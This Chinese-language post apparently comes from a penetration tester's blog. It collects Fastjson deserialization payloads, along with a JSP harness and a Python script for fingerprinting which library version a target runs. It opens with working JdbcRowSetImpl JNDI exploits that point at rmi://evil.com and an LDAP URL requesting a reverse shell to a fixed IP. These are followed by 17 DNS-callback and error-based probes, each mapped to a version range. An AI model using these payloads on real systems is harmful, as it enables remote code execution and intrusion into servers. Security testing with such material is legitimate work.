Fastjson Payload
1fastjson1.1.242payload:3{4 "b":{5 "@type":"com.sun.rowset.JdbcRowSetImpl",6 "dataSourceName":"rmi://evil.com:9999/TouchFile",7 "autoCommit":true8 }9}10
11
12
13Fastjson 1.1.2714{15 "a":{16 "@type":"java.lang.Class",17 "val":"com.sun.rowset.JdbcRowSetImpl"18 },19 "b":{20 "@type":"com.sun.rowset.JdbcRowSetImpl",21 "dataSourceName":"rmi://evil.com:9999/Exploit",22 "autoCommit":true23 }24}25
26
27
28fastjson1.1.24 (简易版JNDI)29payload:30{31 "b":{32 "@type":"com.sun.rowset.JdbcRowSetImpl",33 "dataSourceName":"ldap://10.56.10.12:1389/Basic/ReverseShell/10.56.10.12/80",34 "autoCommit":true35 }36}0x00 概述
使用常见的payload对fastjson版本进行测试,方便遇到fastjson进行较小范围的版本判断,使用bypass字符绕过等等
0x01 背景
测试过程中,会遇到很多json进行传输的站点,有jackson、fastjson等等,但是这些当中,有漏洞的概率最大的还是fastjson。
0x02 测试具体方法
用pom把所有版本的fastjson下载了,然后在fastjson文件夹下执行这个命令,把fastjson固定在一个文件内,通过反射装载jar,调用完以后卸载
1find . -name "*.jar" -type f -exec cp {} /Users/f0ng/xxxxxx/ \;调用fastjson包的原理为 使用反射获取请求里传来的版本参数,从而动态调用相应版本的fastjson进行解析,解析完毕以后自动卸载,测试涵盖fastjson1所有版本
测试版本如下:
11_2_8321_2_8031_2_7941_2_7851_2_7761_2_7671_2_7581_2_7491_2_73101_2_72111_2_71121_2_70131_2_69141_2_68151_2_67161_2_66171_2_62181_2_61191_2_60201_2_59211_2_58221_2_57231_2_56241_2_55251_2_54261_2_53271_2_52281_2_51291_2_50301_2_49311_2_48321_2_47331_2_46341_2_45351_2_44361_2_43371_2_42381_2_41391_2_40401_2_39411_2_38421_2_37431_2_36441_2_35451_2_34461_2_33471_2_32481_2_31491_2_30501_2_29511_2_28521_2_27531_2_26541_2_25551_2_24561_2_23571_2_22581_2_21591_2_20601_2_19611_2_18621_2_17631_2_16641_2_15651_2_14661_2_13671_2_12681_2_11691_2_10701_2_9711_2_8721_2_7731_2_6741_2_5751_2_4761_2_3771_2_2781_2_1python脚本如下
1# -*- coding: utf-8 -*-2
3fastjosn_version = ["1_2_83",4"1_2_80",5"1_2_79",6"1_2_78",7"1_2_77",8"1_2_76",9"1_2_75",10"1_2_74",11"1_2_73",12"1_2_72",13"1_2_71",14"1_2_70",15"1_2_69",16"1_2_68",17"1_2_67",18"1_2_66",19"1_2_62",20"1_2_61",21"1_2_60",22"1_2_59",23"1_2_58",24"1_2_57",25"1_2_56",26"1_2_55",27"1_2_54",28"1_2_53",29"1_2_52",30"1_2_51",31"1_2_50",32"1_2_49",33"1_2_48",34"1_2_47",35"1_2_46",36"1_2_45",37"1_2_44",38"1_2_43",39"1_2_42",40"1_2_41",41"1_2_40",42"1_2_39",43"1_2_38",44"1_2_37",45"1_2_36",46"1_2_35",47"1_2_34",48"1_2_33",49"1_2_32",50"1_2_31",51"1_2_30",52"1_2_29",53"1_2_28",54"1_2_27",55"1_2_26",56"1_2_25",57"1_2_24",58"1_2_23",59"1_2_22",60"1_2_21",61"1_2_20",62"1_2_19",63"1_2_18",64"1_2_17",65"1_2_16",66"1_2_15",67"1_2_14",68"1_2_13",69"1_2_12",70"1_2_11",71"1_2_10",72"1_2_9",73"1_2_8",74"1_2_7",75"1_2_6",76"1_2_5",77"1_2_4",78"1_2_3",79"1_2_2",80"1_2_1"]81
82import requests83
84def convert_to_ranges(versions):85 ranges = []86 start = end = versions[0]87
88 for v in versions[1:] + [None]:89 # 将版本号字符串转换为数字列表90 parts = list(map(int, v.split('_'))) if v is not None else None91 end_parts = list(map(int, end.split('_')))92
93 # 检查版本是否连续94 if parts is not None and parts[0] == end_parts[0] \95 and parts[1] == end_parts[1] and parts[2] == end_parts[2] - 1:96 end = v97 else:98 # 如果只有一个版本,只添加这个版本99 if start == end:100 ranges.append(start)101 else:102 ranges.append(f"{end}-{start}")103 if v is not None:104 start = end = v105 return ranges106
107
108
109burp0_url = "https://callback.red:443/"110burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Sec-Ch-Ua": "\"Not A(Brand\";v=\"99\", \"Google Chrome\";v=\"121\", \"Chromium\";v=\"121\"", "Sec-Ch-Ua-Platform": "\"macOS\"", "Sec-Ch-Ua-Mobile": "?0", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "*/*", "Origin": "https://www.callback.red", "Sec-Fetch-Site": "same-site", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://www.callback.red/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close"}111
112burp0_data = {"key":113 "xxxxxxxxx"}114resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)115
116
117total = []118for _ in fastjosn_version:119 if _.replace(".","_")+"." not in resp.text :120 total.append(_)121
122
123if len(total) > 0:124 # 调用函数并打印结果125 version_ranges = convert_to_ranges(total)126else:127 version_ranges = "无"128print("不可用版本")129print(version_ranges)主要流程
- 将fastjson的payload准备好,动态加载参数
version设置为变量,payload的dnslog设置为变量,字典为版本号,进行intruder爆破 - 在dnslog平台查看相应的版本号,如果没有相应的版本,则表示相应版本无法使用payload进行dnslog获取
jsp源码如下
1<%@ page import="java.io.InputStreamReader" %>2<%@ page import="java.io.BufferedReader" %>3<%@ page import="java.lang.reflect.Field" %>4<%@ page import="java.net.URL" %>5<%@ page import="java.net.URLClassLoader" %>6<%@ page import="java.lang.reflect.Method" %>7
8<%@ page contentType="text/html;charset=UTF-8" language="java" %>9<%--测试fastjson各个版本payload、bypass字符--%>10<%11 // JAR文件的路径12 URL jarUrl = new URL("file:///Users/f0ng/fastjsonjars/fastjson-"+request.getParameter("version").replace("_",".")+".jar");13// 父类加载器,可以用当前线程的类加载器等14 ClassLoader parentClassLoader = Thread.currentThread().getContextClassLoader();15// 创建URLClassLoader实例以加载JAR16 URLClassLoader classLoader = new URLClassLoader(new URL[]{jarUrl}, parentClassLoader);17
18 Class var8 = classLoader.loadClass("com.alibaba.fastjson.JSONArray");19 Field var9 = var8.getField("VERSION");20 String var10 = (String)var9.get("");21
22
23 response.setHeader("version",var10);24
25 BufferedReader br = new BufferedReader(new InputStreamReader((ServletInputStream) request.getInputStream(), "utf-8"));26
27 StringBuffer sb = new StringBuffer("");28 String temp;29
30 while ((temp = br.readLine()) != null) {31 sb.append(temp);32 }33
34 br.close();35 String params = sb.toString();36
37 out.print(params);38 Class var81 = classLoader.loadClass("com.alibaba.fastjson.JSON");39 Method parseMethod = var81.getMethod("parse", String.class);40 Object result = parseMethod.invoke(null, params);41 classLoader.close();42%>dnslog的payload流程如上,其他类型,如报错、回显这种也类似
测试的时候,在响应头可以看到相应的fastjson版本

在响应平台获取到相应记录

0x03 判断版本payload
测试的一切payload均采用fastjson的默认配置,本次测试只用到了com.alibaba.fastjson.JSON.parse()函数
payload 1(dns请求)【fastjson>=1.2.37】
1{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://§1§.{{URL}}"}}""}经测试,可用范围1.2.37-1.2.83,即fastjson版本>=1.2.37
payload 2(dns请求)【fastjson>=1.2.37】
1{{"@type":"java.net.URL","val":"http://§1§.{{URL}}"}:0经测试,可用范围1.2.37-1.2.83,即fastjson版本>=1.2.37
payload 3(dns请求)【fastjson>=1.2.9】
1Set[{"@type":"java.net.URL","val":"http://§1§.{{URL}}"}]经测试,可用范围1.2.9-1.2.83,即fastjson版本>=1.2.9
payload 4(dns请求)【fastjson>=1.2.9】
1Set[{"@type":"java.net.URL","val":"http://§1§.{{URL}}"}经测试,可用范围1.2.9-1.2.83,即fastjson版本>=1.2.9
payload 5(dns请求)【1.2.9<=fastjson<=1.2.47】
1{"name":{"@type":"java.net.InetAddress","val":"§1§.{{URL}}"}}经测试,可用范围1.2.47以下,1.2.9以上,即1.2.9<=fastjson版本<=1.2.47
payload 6(dns请求)【fastjson>=1.2.9】
1[{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.{{URL}}"}}]经测试,可用范围1.2.9以上,即fastjson版本>=1.2.9
payload 7(http请求)【1.2.37<=fastjson<=1.2.68】
1{"a":{"@type":"java.lang.AutoCloseable","@type":"com.alibaba.fastjson.JSONReader","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"http://§1§.{{URL}}"}}}经测试,可用范围1.2.68以下,1.2.37以上,即1.2.37<=fastjson版本<=1.2.68
payload 8(dns请求)【fastjson>=1.2.9以及fastjson=1.2.83】
1[{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.80.{{URL}}"}}},{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","message":{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.83.{{URL}}"}}}]经测试,带有83的dnslog记录只会在fastjson 1.2.83中出现
带有80的dnslog记录,可用范围1.2.9以上
payload 9(dns请求)【1.2.9<=fastjson<=1.2.68】
1[{"@type": "java.lang.AutoCloseable","@type": "java.io.ByteArrayOutputStream"},{"@type": "java.io.ByteArrayOutputStream"},{"@type": "java.net.InetSocketAddress"{"address":,"val": "§1§.{{URL}}"}}]经测试,可用范围1.2.9以上,1.2.68以下,即1.2.9<=fastjson版本<=1.2.68
payload 10(dns请求)【1.2.9<=fastjson<=1.2.47】
1{"@type":"java.net.InetAddress","val":"§1§.{{URL}}"}经测试,可用范围1.2.9以上,1.2.47以下,即1.2.9<=fastjson版本<=1.2.47
payload 11(dns请求)【fastjson>=1.2.9】
单独的两条
1{"@type":"java.net.Inet4Address","val":"§1§.{{URL}}"}2
3{"@type":"java.net.Inet6Address","val":"§1§.{{URL}}"}经测试,可用范围1.2.9以上,即fastjson版本>=1.2.9
payload 12(dns请求)【fastjson>=1.2.9】
1{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.{{URL}}"}}经测试,可用范围1.2.9以上,即fastjson版本>=1.2.9
payload 13(dns请求)【1.2.9<=fastjson<=1.2.24以及1.2.40<=fastjson<=1.2.47】
1[{"@type":"java.lang.Class","val":"java.io.ByteArrayOutputStream"},{"@type":"java.io.ByteArrayOutputStream"},{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.{{URL}}"}}]经测试,可用范围1.2.9以上,1.2.24以下或者1.2.40以上,1.2.47以下,即1.2.9<=fastjson版本<=1.2.24或者1.2.40<=fastjson版本<=1.2.47
payload 14(报错)【fastjson<=1.2.24以及fastjson=1.2.83】
1{"page":{"pageNumber":1,"pageSize":1,"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}}经测试,在fastjson<=1.2.24以及fastjson=1.2.83的时候不会报错,其余均报错
payload 15(报错)【fastjson<=1.2.68】
1{"page":{"pageNumber":1,"pageSize":1,"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}}经测试,在fastjson<=1.2.68的时候不会报错,其余均报错
payload 16(报错) 【1.2.9<=fastjson<=1.2.47】
1{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl"}}经测试,在1.2.9<=fastjson<=1.2.47的时候不会报错,其余均报错
payload 17(报错) 【fastjson<=1.2.47】
1{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}经测试,在fastjson<=1.2.47的时候不会报错,其余均报错
部分信息可能已经过时